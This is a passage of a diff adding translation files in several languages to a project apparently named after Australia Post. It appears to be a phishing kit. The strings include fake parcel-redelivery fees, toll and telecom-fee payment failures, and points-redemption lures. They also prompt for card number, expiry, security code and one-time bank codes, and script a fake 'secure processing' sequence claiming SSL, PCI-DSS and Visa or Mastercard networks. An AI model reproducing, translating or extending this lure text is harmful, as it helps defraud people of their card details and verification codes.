"Order number": "Numéro de commande : ",
|
||||
"Pay": "Payer",
|
||||
"Pay Message": "Payez {0} pour échanger des points contre un produit",
|
||||
"Pay electronic tolls online": "Payer les péages électroniques en ligne",
|
||||
"your electronic toll payment was unsuccessful":
|
||||
"votre paiement de péage électronique a échoué.",
|
||||
"Billing Information": "Informations de facturation",
|
||||
"Description": "Description",
|
||||
"Dear customer": "Cher client :",
|
||||
"Electronic Communications Charge Payment Failed":
|
||||
"Échec du paiement des frais de communication électronique",
|
||||
"Invoice Number": "Numéro de facture",
|
||||
"Amount": "Montant",
|
||||
"Pay Immediately": "Payer immédiatement",
|
||||
"Phone Number": "Numéro de téléphone",
|
||||
"Electronic communication fee payment failed":
|
||||
"Échec du paiement des frais de communication électronique",
|
||||
"Illustrate": "Illustrer",
|
||||
"Processing payment": "Traitement du paiement",
|
||||
"Please do not refresh or close the page":
|
||||
"Veuillez ne pas actualiser ou fermer la page",
|
||||
};
|
||||
73
a12_au_post_aupost/src/locales/hk/index.ts
Normal file
@@ -0,0 +1,73 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "此欄位有錯誤,請檢查",
|
||||
"Please enter a valid email address": "請輸入有效的電郵地址",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "親愛的用戶,請小心填寫表格以確保成功送達",
|
||||
"Your Name": "你的姓名",
|
||||
"Address": "地址",
|
||||
"Detailed Address": "詳細地址",
|
||||
"(Optional)": "(可選)",
|
||||
"City": "城市",
|
||||
"State": "州份",
|
||||
"Province": "省份",
|
||||
"Region": "地區",
|
||||
"Zip Code": "郵政編碼",
|
||||
"E-Mail": "電郵",
|
||||
"Next": "下一步",
|
||||
"Telephone Number": "電話號碼",
|
||||
"Online": "網上",
|
||||
"Payment": "付款",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "如需重新派送,我們需要收取一定的服務費。付款後將重新派送你的包裹",
|
||||
"lump sum: ": "總金額:",
|
||||
"Cardholder": "持卡人",
|
||||
"Card Number": "信用卡號碼",
|
||||
"Expire Date": "到期日",
|
||||
"Security Code": "安全碼",
|
||||
"Submit": "提交",
|
||||
"Click here to receive another code": "點擊此處接收新驗證碼",
|
||||
"Please confirm your identity and a one-time code will be sent": "請確認你的身份,我們將發送一次性驗證碼至你的手機或電郵,請在此輸入驗證碼",
|
||||
"The verification code has been sent to": "驗證碼已發送至",
|
||||
"Please do not click the": "請勿點擊「重新整理」或「返回」按鈕,否則可能導致交易失敗或中斷",
|
||||
"Verification code error, please try again": "驗證碼錯誤,請再試一次",
|
||||
"The session is about to expire, please complete the verification now": "驗證即將過期,請立即完成驗證",
|
||||
"This card does not support this transaction, please try another card": "此卡不支援此交易,請嘗試其他信用卡",
|
||||
"Authorized bank": "授權銀行",
|
||||
"Please go to the bank App to confirm the authorization": "請前往銀行應用程式確認授權",
|
||||
"Please do not close this page": "請勿關閉此頁面",
|
||||
"Payment Successful": "付款成功!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "感謝你的購買,付款已成功處理",
|
||||
"Mailing address": "郵寄地址",
|
||||
"street address or house number": "街道地址或樓宇號碼",
|
||||
"Apartment number": "單位號碼、房號等",
|
||||
"Safe payment": "安全付款",
|
||||
"Verification code": "驗證碼",
|
||||
"Welcome": "歡迎",
|
||||
"back":"返回!",
|
||||
"We reward you for using point services": "感謝你使用積分服務,我們提供獎賞",
|
||||
"Check your points": "查看你的積分",
|
||||
"Phone number": "電話號碼",
|
||||
"Inquire": "查詢",
|
||||
"Exchange": "兌換",
|
||||
"Spend points": "使用積分",
|
||||
"Points Available": "可用積分",
|
||||
"You don't have enough points": "你的積分不足",
|
||||
"Please redeem your favorite product": "請兌換你喜愛的商品",
|
||||
"Confirm your shipping address": "確認你的送貨地址",
|
||||
"Order number": "訂單編號:",
|
||||
"Pay": "付款",
|
||||
"Pay Message": "支付 {0} 即可用積分兌換商品",
|
||||
"Pay electronic tolls online": "網上支付電子通行費",
|
||||
"your electronic toll payment was unsuccessful": "你的電子通行費付款失敗。",
|
||||
"Billing Information": "帳單資料",
|
||||
"Description": "描述",
|
||||
"Dear customer": "親愛的顧客:",
|
||||
"Electronic Communications Charge Payment Failed": "電子通訊費付款失敗",
|
||||
"Invoice Number": "發票號碼",
|
||||
"Amount": "金額",
|
||||
"Pay Immediately": "立即付款",
|
||||
"Phone Number": "電話號碼",
|
||||
"Electronic communication fee payment failed": "電子通訊費付款失敗",
|
||||
"Illustrate":"說明",
|
||||
"Processing Payment":"正在處理付款,請稍候",
|
||||
"Waiting":"請稍候",
|
||||
};
|
||||
|
||||
81
a12_au_post_aupost/src/locales/hu/index.ts
Normal file
@@ -0,0 +1,81 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"Hiba történt ebben a mezőben, kérjük, ellenőrizze",
|
||||
"Please enter a valid email address": "Kérjük, adjon meg egy érvényes e-mail címet",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Kedves felhasználók, kérjük, gondosan töltse ki az űrlapot a sikeres kézbesítés érdekében",
|
||||
"Your Name": "Az Ön neve",
|
||||
"Address": "Cím",
|
||||
"Detailed Address": "Részletes cím",
|
||||
"(Optional)": "(Opcionális)",
|
||||
"City": "Város",
|
||||
"State": "Állam",
|
||||
"Province": "Megye",
|
||||
"Region": "Régió",
|
||||
"Zip Code": "Irányítószám",
|
||||
"E-Mail": "E-mail",
|
||||
"Next": "Tovább",
|
||||
"Telephone Number": "Telefonszám",
|
||||
"Online": "Online",
|
||||
"Payment": "Fizetés",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"A visszaszállításhoz bizonyos szolgáltatási díjakat kell felszámítanunk. A csomagot a fizetés után kézbesítjük újra",
|
||||
"lump sum: ": "átalányösszeg: ",
|
||||
"Cardholder": "Kártyatulajdonos",
|
||||
"Card Number": "Kártyaszám",
|
||||
"Expire Date": "Lejárati dátum",
|
||||
"Security Code": "Biztonsági kód",
|
||||
"Submit": "Küldés",
|
||||
"Click here to receive another code": "Kattintson ide egy másik kód fogadásához",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Kérjük, erősítse meg személyazonosságát, és egy egyszeri kódot küldünk a mobiltelefonszámára vagy e-mail címére. Kérjük, itt adja meg az ellenőrző kódot",
|
||||
"The verification code has been sent to":
|
||||
"Az ellenőrző kódot elküldtük a következő címre:",
|
||||
"Please do not click the":
|
||||
"Kérjük, ne kattintson a 'Frissítés' vagy a 'Vissza' gombokra, mert ez megszakíthatja a tranzakciót",
|
||||
"Verification code error, please try again":
|
||||
"Ellenőrző kód hiba, kérjük, próbálja újra",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"A munkamenet hamarosan lejár, kérjük, fejezze be az ellenőrzést most",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Ez a kártya nem támogatja ezt a tranzakciót, kérjük, próbáljon meg egy másik kártyát",
|
||||
"Authorized bank": "Engedélyezett bank",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Kérjük, menjen a banki alkalmazásba az engedélyezés megerősítéséhez",
|
||||
"Please do not close this page": "Kérjük, ne zárja be ezt az oldalt",
|
||||
"Payment Successful": "Sikeres fizetés!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Köszönjük a vásárlást. A fizetése sikeresen feldolgozva",
|
||||
"Mailing address": "Levelezési cím",
|
||||
"street address or house number": "utca vagy házszám",
|
||||
"Apartment number": "Lakásszám, szobaszám stb.",
|
||||
"Safe payment": "Biztonságos fizetés",
|
||||
"Verification code": "Ellenőrző kód",
|
||||
"Welcome": "Üdvözöljük",
|
||||
"back":"vissza!",
|
||||
"We reward you for using point services": "Megjutalmazzuk a pontszolgáltatások használatáért",
|
||||
"Check your points": "Ellenőrizze a pontjait",
|
||||
"Phone number": "Telefonszám",
|
||||
"Inquire": "Érdeklődés",
|
||||
"Exchange": "Csere",
|
||||
"Spend points": "Pontok felhasználása",
|
||||
"Points Available": "Elérhető pontok",
|
||||
"You don't have enough points": "Nincs elég pontja",
|
||||
"Please redeem your favorite product": "Kérjük, váltsa be kedvenc termékét",
|
||||
"Confirm your shipping address": "Erősítse meg szállítási címét",
|
||||
"Order number": "Rendelésszám: ",
|
||||
"Pay": "Fizetés",
|
||||
"Pay Message": "Fizessen {0}-t a pontok áruértékre váltásához",
|
||||
"Pay electronic tolls online": "Fizessen elektronikus útdíjat online",
|
||||
"your electronic toll payment was unsuccessful": "az elektronikus útdíj fizetése sikertelen volt.",
|
||||
"Billing Information": "Számlázási adatok",
|
||||
"Description": "Leírás",
|
||||
"Dear customer": "Kedves vásárlónk:",
|
||||
"Electronic Communications Charge Payment Failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
|
||||
"Invoice Number": "Számlaszám",
|
||||
"Amount": "Összeg",
|
||||
"Pay Immediately": "Fizessen azonnal",
|
||||
"Phone Number": "Telefonszám",
|
||||
"Electronic communication fee payment failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
|
||||
"Illustrate":"Szemléltet"
|
||||
};
|
||||
109
a12_au_post_aupost/src/locales/mk/index.ts
Normal file
@@ -0,0 +1,109 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"Има грешка во ова поле, ве молиме проверете",
|
||||
"Please enter a valid email address": "Ве молиме внесете валидна е-адреса",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Почитувани корисници, ве молиме внимателно пополнете го формуларот за да се осигура успешна достава",
|
||||
"Your Name": "Вашето име",
|
||||
"Address": "Адреса",
|
||||
"Detailed Address": "Детална адреса",
|
||||
"(Optional)": "(Опционално)",
|
||||
"City": "Град",
|
||||
"State": "Држава/Област",
|
||||
"Province": "Покраина",
|
||||
"Region": "Регион",
|
||||
"Zip Code": "Поштенски број",
|
||||
"E-Mail": "Е-пошта",
|
||||
"Next": "Понатаму",
|
||||
"Telephone Number": "Телефонски број",
|
||||
"Online": "Онлајн",
|
||||
"Payment": "Плаќање",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"За повторна достава, потребно е да наплатиме одредени трошоци за услугата. Вашата пратка ќе биде повторно доставена по плаќањето",
|
||||
"lump sum: ": "Вкупен износ: ",
|
||||
"Cardholder": "Име на картичката",
|
||||
"Card Number": "Број на картичка",
|
||||
"Expire Date": "Датум на истекување",
|
||||
"Security Code": "Сигурносен код",
|
||||
"Submit": "Потврди",
|
||||
"Click here to receive another code": "Кликнете овде за да добиете нов код",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Ве молиме потврдете го вашиот идентитет. Еднократен код ќе биде испратен на вашиот мобилен број или е-пошта. Ве молиме внесете го кодот за потврда овде",
|
||||
"The verification code has been sent to":
|
||||
"Кодот за потврда е испратен на",
|
||||
"Please do not click the":
|
||||
"Ве молиме не кликнувајте на копчињата „Освежи“ или „Назад“, бидејќи тоа може да ја прекине вашата трансакција",
|
||||
"Verification code error, please try again":
|
||||
"Грешка во кодот за потврда, ве молиме обидете се повторно",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"Сесијата наскоро ќе истече, ве молиме завршете ја потврдата сега",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Оваа картичка не ја поддржува оваа трансакција, ве молиме обидете се со друга картичка",
|
||||
"Authorized bank": "Овластена банка",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Ве молиме отворете ја апликацијата на вашата банка за да ја потврдите авторизацијата",
|
||||
"Please do not close this page": "Ве молиме не ја затворајте оваа страница",
|
||||
"Payment Successful": "Плаќањето е успешно!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Ви благодариме за плаќањето. Вашата трансакција е успешно обработена",
|
||||
"Mailing address": "Адреса за испорака",
|
||||
"street address or house number": "Име на улица или куќен број",
|
||||
"Apartment number": "Број на стан, соба итн.",
|
||||
"Safe payment": "Безбедно плаќање",
|
||||
"Verification code": "Код за потврда",
|
||||
"Welcome": "Добредојдовте",
|
||||
"back": "назад!",
|
||||
"We reward you for using point services": "Ве наградуваме за користење на нашите услуги со поени",
|
||||
"Check your points": "Проверете ги вашите поени",
|
||||
"Phone number": "Телефонски број",
|
||||
"Inquire": "Провери",
|
||||
"Exchange": "Замени",
|
||||
"Spend points": "Потроши поени",
|
||||
"Points Available": "Достапни поени",
|
||||
"You don't have enough points": "Немате доволно поени",
|
||||
"Please redeem your favorite product": "Ве молиме заменете ги поените за вашиот омилен производ",
|
||||
"Confirm your shipping address": "Потврдете ја вашата адреса за испорака",
|
||||
"Order number": "Број на нарачка: ",
|
||||
"Pay": "Плати",
|
||||
"Pay Message": "Платете {0} за да ги замените поените за производи",
|
||||
"Pay electronic tolls online": "Платете електронска патарина онлајн",
|
||||
"your electronic toll payment was unsuccessful": "Вашето плаќање на електронската патарина беше неуспешно.",
|
||||
"Billing Information": "Информации за наплата",
|
||||
"Description": "Опис",
|
||||
"Dear customer": "Почитуван кориснику:",
|
||||
"Electronic Communications Charge Payment Failed": "Неуспешно плаќање на надоместокот за електронски комуникации",
|
||||
"Invoice Number": "Број на фактура",
|
||||
"Amount": "Износ",
|
||||
"Pay Immediately": "Плати веднаш",
|
||||
"Phone Number": "Телефонски број",
|
||||
"Electronic communication fee payment failed": "Плаќањето на надоместокот за електронски комуникации не успеа",
|
||||
"Illustrate": "Илустрација/Објаснување",
|
||||
"SSL Encryption": "SSL енкрипција",
|
||||
"PCI-DSS Certified": "PCI-DSS сертифицирано",
|
||||
"Transaction Details": "Детали за трансакцијата",
|
||||
"Transaction ID:": "ID на трансакција:",
|
||||
"Processing Network:": "Мрежа за обработка:",
|
||||
"Processing Time:": "Време на обработка:",
|
||||
"Security Level:": "Ниво на безбедност:",
|
||||
"Preparing...": "Се подготвува...",
|
||||
"High": "Високо",
|
||||
"Initializing payment environment...": "Иницијализирање на околината за плаќање...",
|
||||
"Encrypting card information...": "Енкриптирање на податоците од картичката...",
|
||||
"Establishing secure connection...": "Воспоставување безбедна врска...",
|
||||
"Verifying card number and issuer...": "Проверка на бројот на картичката и издавачот...",
|
||||
"Validating CVV code...": "Проверка на CVV кодот...",
|
||||
"Checking fraud risk...": "Проверка на ризик од измама...",
|
||||
"Sending transaction request...": "Испраќање барање за трансакција...",
|
||||
"Waiting for bank authorization...": "Се чека авторизација од банката...",
|
||||
"Processing bank response...": "Се обработува одговорот од банката...",
|
||||
"Confirming transaction status...": "Се потврдува статусот на трансакцијата...",
|
||||
"Finalizing transaction...": "Финализирање на трансакцијата...",
|
||||
"Visa Secure Network": "Visa Secure Network",
|
||||
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
|
||||
"American Express Dedicated Channel": "American Express Dedicated Channel",
|
||||
"UnionPay Gateway": "UnionPay Gateway",
|
||||
"{time} seconds": "{time} секунди",
|
||||
"International Payment Network": "Меѓународна мрежа за плаќање",
|
||||
"redelivery_fee_message": "За повторна достава потребно е да платите {amount} за трошоци за услугата. Вашата пратка ќе биде повторно доставена по плаќањето",
|
||||
"Verifying...": "Се врши проверка...",
|
||||
};
|
||||
97
a12_au_post_aupost/src/locales/nl/index.ts
Normal file
@@ -0,0 +1,97 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "Er is een fout in dit veld, controleer het alstublieft",
|
||||
"Please enter a valid email address": "Voer een geldig e-mailadres in",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Beste gebruikers, vul het formulier zorgvuldig in om een succesvolle levering te garanderen",
|
||||
"Your Name": "Uw naam",
|
||||
"Address": "Adres",
|
||||
"Detailed Address": "Gedetailleerd adres",
|
||||
"(Optional)": "(Optioneel)",
|
||||
"City": "Stad",
|
||||
"State": "Staat",
|
||||
"Province": "Provincie",
|
||||
"Region": "Regio",
|
||||
"Zip Code": "Postcode",
|
||||
"E-Mail": "E-mail",
|
||||
"Next": "Volgende",
|
||||
"Telephone Number": "Telefoonnummer",
|
||||
"Online": "Online",
|
||||
"Payment": "Betaling",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "Voor herlevering moeten we servicekosten in rekening brengen. Uw pakket wordt opnieuw verzonden na betaling",
|
||||
"lump sum: ": "totaalbedrag: ",
|
||||
"Cardholder": "Kaarthouder",
|
||||
"Card Number": "Kaartnummer",
|
||||
"Expire Date": "Vervaldatum",
|
||||
"Security Code": "Beveiligingscode",
|
||||
"Submit": "Verzenden",
|
||||
"Click here to receive another code": "Klik hier om een andere code te ontvangen",
|
||||
"Please confirm your identity and a one-time code will be sent": "Bevestig uw identiteit en een eenmalige code wordt verzonden naar uw telefoonnummer of e-mailadres. Voer hier de verificatiecode in",
|
||||
"The verification code has been sent to": "De verificatiecode is verzonden naar",
|
||||
"Please do not click the": "Klik niet op de knoppen 'Vernieuwen' of 'Terug', dit kan uw transactie beëindigen",
|
||||
"Verification code error, please try again": "Verificatiecode onjuist, probeer het opnieuw",
|
||||
"The session is about to expire, please complete the verification now": "De sessie verloopt bijna, voltooi nu de verificatie",
|
||||
"This card does not support this transaction, please try another card": "Deze kaart ondersteunt deze transactie niet, probeer een andere kaart",
|
||||
"Authorized bank": "Geautoriseerde bank",
|
||||
"Please go to the bank App to confirm the authorization": "Ga naar de bank-app om de autorisatie te bevestigen",
|
||||
"Please do not close this page": "Sluit deze pagina niet",
|
||||
"Payment Successful": "Betaling geslaagd!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Bedankt voor uw aankoop. Uw betaling is succesvol verwerkt",
|
||||
"Mailing address": "Postadres",
|
||||
"street address or house number": "Straatnaam of huisnummer",
|
||||
"Apartment number": "Appartementnummer, kamernummer, enz.",
|
||||
"Safe payment": "Veilige betaling",
|
||||
"Verification code": "Verificatiecode",
|
||||
"Welcome": "Welkom",
|
||||
"back": "Terug!",
|
||||
"We reward you for using point services": "Wij belonen u voor het gebruik van puntendiensten",
|
||||
"Check your points": "Controleer uw punten",
|
||||
"Phone number": "Telefoonnummer",
|
||||
"Inquire": "Opvragen",
|
||||
"Exchange": "Inwisselen",
|
||||
"Spend points": "Besteed punten",
|
||||
"Points Available": "Beschikbare punten",
|
||||
"You don't have enough points": "U heeft niet genoeg punten",
|
||||
"Please redeem your favorite product": "Wissel uw favoriete product in",
|
||||
"Confirm your shipping address": "Bevestig uw verzendadres",
|
||||
"Order number": "Bestelnummer: ",
|
||||
"Pay": "Betalen",
|
||||
"Pay Message": "Betaal {0} om punten in te wisselen voor producten",
|
||||
"Pay electronic tolls online": "Betaal elektronische tol online",
|
||||
"your electronic toll payment was unsuccessful": "Uw elektronische tolbetaling is mislukt.",
|
||||
"Billing Information": "Factuurinformatie",
|
||||
"Description": "Beschrijving",
|
||||
"Dear customer": "Geachte klant:",
|
||||
"Electronic Communications Charge Payment Failed": "Betaling van elektronische communicatiekosten mislukt",
|
||||
"Invoice Number": "Factuurnummer",
|
||||
"Amount": "Bedrag",
|
||||
"Pay Immediately": "Betaal onmiddellijk",
|
||||
"Phone Number": "Telefoonnummer",
|
||||
"Electronic communication fee payment failed": "Betaling van elektronische communicatiekosten mislukt",
|
||||
"Illustrate": "Illustreren",
|
||||
"SSL Encryption": "SSL-versleuteling",
|
||||
"PCI-DSS Certified": "PCI-DSS-gecertificeerd",
|
||||
"Transaction Details": "Transactiedetails",
|
||||
"Transaction ID:": "Transactie-ID:",
|
||||
"Processing Network:": "Verwerkingsnetwerk:",
|
||||
"Processing Time:": "Verwerkingstijd:",
|
||||
"Security Level:": "Beveiligingsniveau:",
|
||||
"Preparing...": "Voorbereiden...",
|
||||
"High": "Hoog",
|
||||
"Initializing payment environment...": "Betaalomgeving initialiseren...",
|
||||
"Encrypting card information...": "Kaartgegevens versleutelen...",
|
||||
"Establishing secure connection...": "Veilige verbinding tot stand brengen...",
|
||||
"Verifying card number and issuer...": "Kaartnummer en uitgever verifiëren...",
|
||||
"Validating CVV code...": "CVV-code valideren...",
|
||||
"Checking fraud risk...": "Frauderisico controleren...",
|
||||
"Sending transaction request...": "Transactieverzoek verzenden...",
|
||||
"Waiting for bank authorization...": "Wachten op bankautorisatie...",
|
||||
"Processing bank response...": "Reactie van bank verwerken...",
|
||||
"Confirming transaction status...": "Transactiestatus bevestigen...",
|
||||
"Finalizing transaction...": "Transactie afronden...",
|
||||
"Visa Secure Network": "Visa Secure Netwerk",
|
||||
"Mastercard Global Payment Network": "Mastercard Wereldwijd Betalingsnetwerk",
|
||||
"American Express Dedicated Channel": "American Express Toegewijd Kanaal",
|
||||
"UnionPay Gateway": "UnionPay Gateway",
|
||||
"{time} seconds": "{time} seconden",
|
||||
"International Payment Network": "Internationaal Betalingsnetwerk",
|
||||
"redelivery_fee_message": "Voor herlevering brengen we {amount} servicekosten in rekening. Uw pakket wordt opnieuw verzonden na betaling",
|
||||
};
|
||||
109
a12_au_post_aupost/src/locales/no/index.ts
Normal file
@@ -0,0 +1,109 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"Det er en feil i dette feltet, vennligst sjekk det",
|
||||
"Please enter a valid email address": "Vennligst oppgi en gyldig e-postadresse",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Kjære brukere, vennligst fyll ut skjemaet nøye for å sikre vellykket levering",
|
||||
"Your Name": "Ditt navn",
|
||||
"Address": "Adresse",
|
||||
"Detailed Address": "Detaljert adresse",
|
||||
"(Optional)": "(Valgfritt)",
|
||||
"City": "By",
|
||||
"State": "Delstat",
|
||||
"Province": "Provins",
|
||||
"Region": "Region",
|
||||
"Zip Code": "Postnummer",
|
||||
"E-Mail": "E-post",
|
||||
"Next": "Neste",
|
||||
"Telephone Number": "Telefonnummer",
|
||||
"Online": "Online",
|
||||
"Payment": "Betaling",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"For ny levering må vi ta et servicegebyr. Din pakke vil bli levert på nytt etter betaling",
|
||||
"lump sum: ": "Totalbeløp: ",
|
||||
"Cardholder": "Kortinnehaver",
|
||||
"Card Number": "Kortnummer",
|
||||
"Expire Date": "Utløpsdato",
|
||||
"Security Code": "Sikkerhetskode",
|
||||
"Submit": "Send inn",
|
||||
"Click here to receive another code": "Klikk her for å motta en ny kode",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Vennligst bekreft identiteten din, en engangskode vil bli sendt til ditt mobilnummer eller e-post. Skriv inn verifiseringskoden her",
|
||||
"The verification code has been sent to":
|
||||
"Verifiseringskoden er sendt til",
|
||||
"Please do not click the":
|
||||
"Vennligst ikke klikk på knappene «Oppdater» eller «Tilbake», da dette kan avslutte eller avbryte transaksjonen",
|
||||
"Verification code error, please try again":
|
||||
"Feil i verifiseringskode, vennligst prøv igjen",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"Økten er i ferd med å utløpe, vennligst fullfør verifiseringen nå",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Dette kortet støtter ikke denne transaksjonen, vennligst prøv et annet kort",
|
||||
"Authorized bank": "Autorisert bank",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Vennligst åpne bank-appen for å bekrefte autorisasjonen",
|
||||
"Please do not close this page": "Vennligst ikke lukk denne siden",
|
||||
"Payment Successful": "Betaling vellykket!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Takk for ditt kjøp. Betalingen er behandlet vellykket",
|
||||
"Mailing address": "Postadresse",
|
||||
"street address or house number": "Gateadresse eller husnummer",
|
||||
"Apartment number": "Leilighetsnummer, romnummer osv.",
|
||||
"Safe payment": "Sikker betaling",
|
||||
"Verification code": "Verifiseringskode",
|
||||
"Welcome": "Velkommen",
|
||||
"back":"tilbake!",
|
||||
"We reward you for using point services": "Vi belønner deg for å bruke vårt poengsystem",
|
||||
"Check your points": "Sjekk poengene dine",
|
||||
"Phone number": "Telefonnummer",
|
||||
"Inquire": "Forespør",
|
||||
"Exchange": "Bytt",
|
||||
"Spend points": "Bruk poeng",
|
||||
"Points Available": "Tilgjengelige poeng",
|
||||
"You don't have enough points": "Du har ikke nok poeng",
|
||||
"Please redeem your favorite product": "Vennligst løs inn ditt favorittprodukt",
|
||||
"Confirm your shipping address": "Bekreft leveringsadressen din",
|
||||
"Order number": "Ordrenummer: ",
|
||||
"Pay": "Betal",
|
||||
"Pay Message": "Betal {0} for å løse inn poeng mot varer",
|
||||
"Pay electronic tolls online": "Betal elektronisk bompenger online",
|
||||
"your electronic toll payment was unsuccessful": "Din elektroniske bompengebetaling mislyktes.",
|
||||
"Billing Information": "Faktureringsinformasjon",
|
||||
"Description": "Beskrivelse",
|
||||
"Dear customer": "Kjære kunde:",
|
||||
"Electronic Communications Charge Payment Failed": "Betaling av elektronisk kommunikasjonsavgift mislyktes",
|
||||
"Invoice Number": "Fakturanummer",
|
||||
"Amount": "Beløp",
|
||||
"Pay Immediately": "Betal umiddelbart",
|
||||
"Phone Number": "Telefonnummer",
|
||||
"Electronic communication fee payment failed": "Betaling av elektronisk kommunikasjonsavgift mislyktes",
|
||||
"Illustrate":"Illustrere",
|
||||
"SSL Encryption": "SSL-kryptering",
|
||||
"PCI-DSS Certified": "PCI-DSS-sertifisert",
|
||||
"Transaction Details": "Transaksjonsdetaljer",
|
||||
"Transaction ID:": "Transaksjons-ID:",
|
||||
"Processing Network:": "Behandlingsnettverk:",
|
||||
"Processing Time:": "Behandlingstid:",
|
||||
"Security Level:": "Sikkerhetsnivå:",
|
||||
"Preparing...": "Forbereder...",
|
||||
"High": "Høy",
|
||||
"Initializing payment environment...": "Initialiserer betalingsmiljø...",
|
||||
"Encrypting card information...": "Krypterer kortinformasjon...",
|
||||
"Establishing secure connection...": "Etablerer sikker tilkobling...",
|
||||
"Verifying card number and issuer...": "Verifiserer kortnummer og utsteder...",
|
||||
"Validating CVV code...": "Validerer CVV-kode...",
|
||||
"Checking fraud risk...": "Sjekker svindelrisiko...",
|
||||
"Sending transaction request...": "Sender transaksjonsforespørsel...",
|
||||
"Waiting for bank authorization...": "Venter på bankautorisering...",
|
||||
"Processing bank response...": "Behandler banksvar...",
|
||||
"Confirming transaction status...": "Bekrefter transaksjonsstatus...",
|
||||
"Finalizing transaction...": "Fullfører transaksjon...",
|
||||
"Visa Secure Network": "Visa Secure Network",
|
||||
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
|
||||
"American Express Dedicated Channel": "American Express Dedikert Kanal",
|
||||
"UnionPay Gateway": "UnionPay Gateway",
|
||||
"{time} seconds": "{time} sekunder",
|
||||
"International Payment Network": "Internasjonalt betalingsnettverk",
|
||||
"redelivery_fee_message": "For ny levering må vi kreve {amount} i servicegebyr, pakken din vil bli levert på nytt etter betaling",
|
||||
"Verifying...": "Verifiserer...",
|
||||
};
|
||||
84
a12_au_post_aupost/src/locales/pt/index.ts
Normal file
@@ -0,0 +1,84 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"Há um erro neste campo, por favor verifique",
|
||||
"Please enter a valid email address": "Por favor insira um endereço de e-mail válido",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Prezados usuários, por favor preencham o formulário com atenção para garantir a entrega bem-sucedida",
|
||||
"Your Name": "Seu Nome",
|
||||
"Address": "Endereço",
|
||||
"Detailed Address": "Endereço Detalhado",
|
||||
"(Optional)": "(Opcional)",
|
||||
"City": "Cidade",
|
||||
"State": "Estado",
|
||||
"Province": "Província",
|
||||
"Region": "Região",
|
||||
"Zip Code": "Código Postal",
|
||||
"E-Mail": "E-mail",
|
||||
"Next": "Próximo",
|
||||
"Telephone Number": "Número de Telefone",
|
||||
"Online": "Online",
|
||||
"Payment": "Pagamento",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"Para reentrega, será cobrada uma taxa de serviço. Seu pacote será reenviado após o pagamento",
|
||||
"lump sum: ": "valor total: ",
|
||||
"Cardholder": "Titular do Cartão",
|
||||
"Card Number": "Número do Cartão",
|
||||
"Expire Date": "Data de Validade",
|
||||
"Security Code": "Código de Segurança",
|
||||
"Submit": "Enviar",
|
||||
"Click here to receive another code": "Clique aqui para receber outro código",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Por favor confirme sua identidade e um código único será enviado para seu número de celular ou e-mail. Insira o código de verificação aqui",
|
||||
"The verification code has been sent to":
|
||||
"O código de verificação foi enviado para",
|
||||
"Please do not click the":
|
||||
"Por favor, não clique nos botões 'Atualizar' ou 'Voltar', pois isso pode interromper sua transação",
|
||||
"Verification code error, please try again":
|
||||
"Erro no código de verificação, por favor tente novamente",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"A sessão está prestes a expirar, por favor conclua a verificação agora",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Este cartão não suporta esta transação, por favor tente outro cartão",
|
||||
"Authorized bank": "Banco autorizado",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Por favor acesse o aplicativo do banco para confirmar a autorização",
|
||||
"Please do not close this page": "Por favor, não feche esta página",
|
||||
"Payment Successful": "Pagamento realizado com sucesso!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Obrigado pela sua compra. Seu pagamento foi processado com sucesso",
|
||||
"Mailing address": "Endereço para entrega",
|
||||
"street address or house number": "endereço da rua ou número da casa",
|
||||
"Apartment number": "Número do apartamento, sala, etc.",
|
||||
"Safe payment": "Pagamento seguro",
|
||||
"Verification code": "Código de verificação",
|
||||
"Welcome": "Bem-vindo",
|
||||
"back": "voltar",
|
||||
"We reward you for using point services": "Recompensamos você por usar os serviços com pontos",
|
||||
"Check your points": "Verifique seus pontos",
|
||||
"Phone number": "Número de telefone",
|
||||
"Inquire": "Consultar",
|
||||
"Exchange": "Trocar",
|
||||
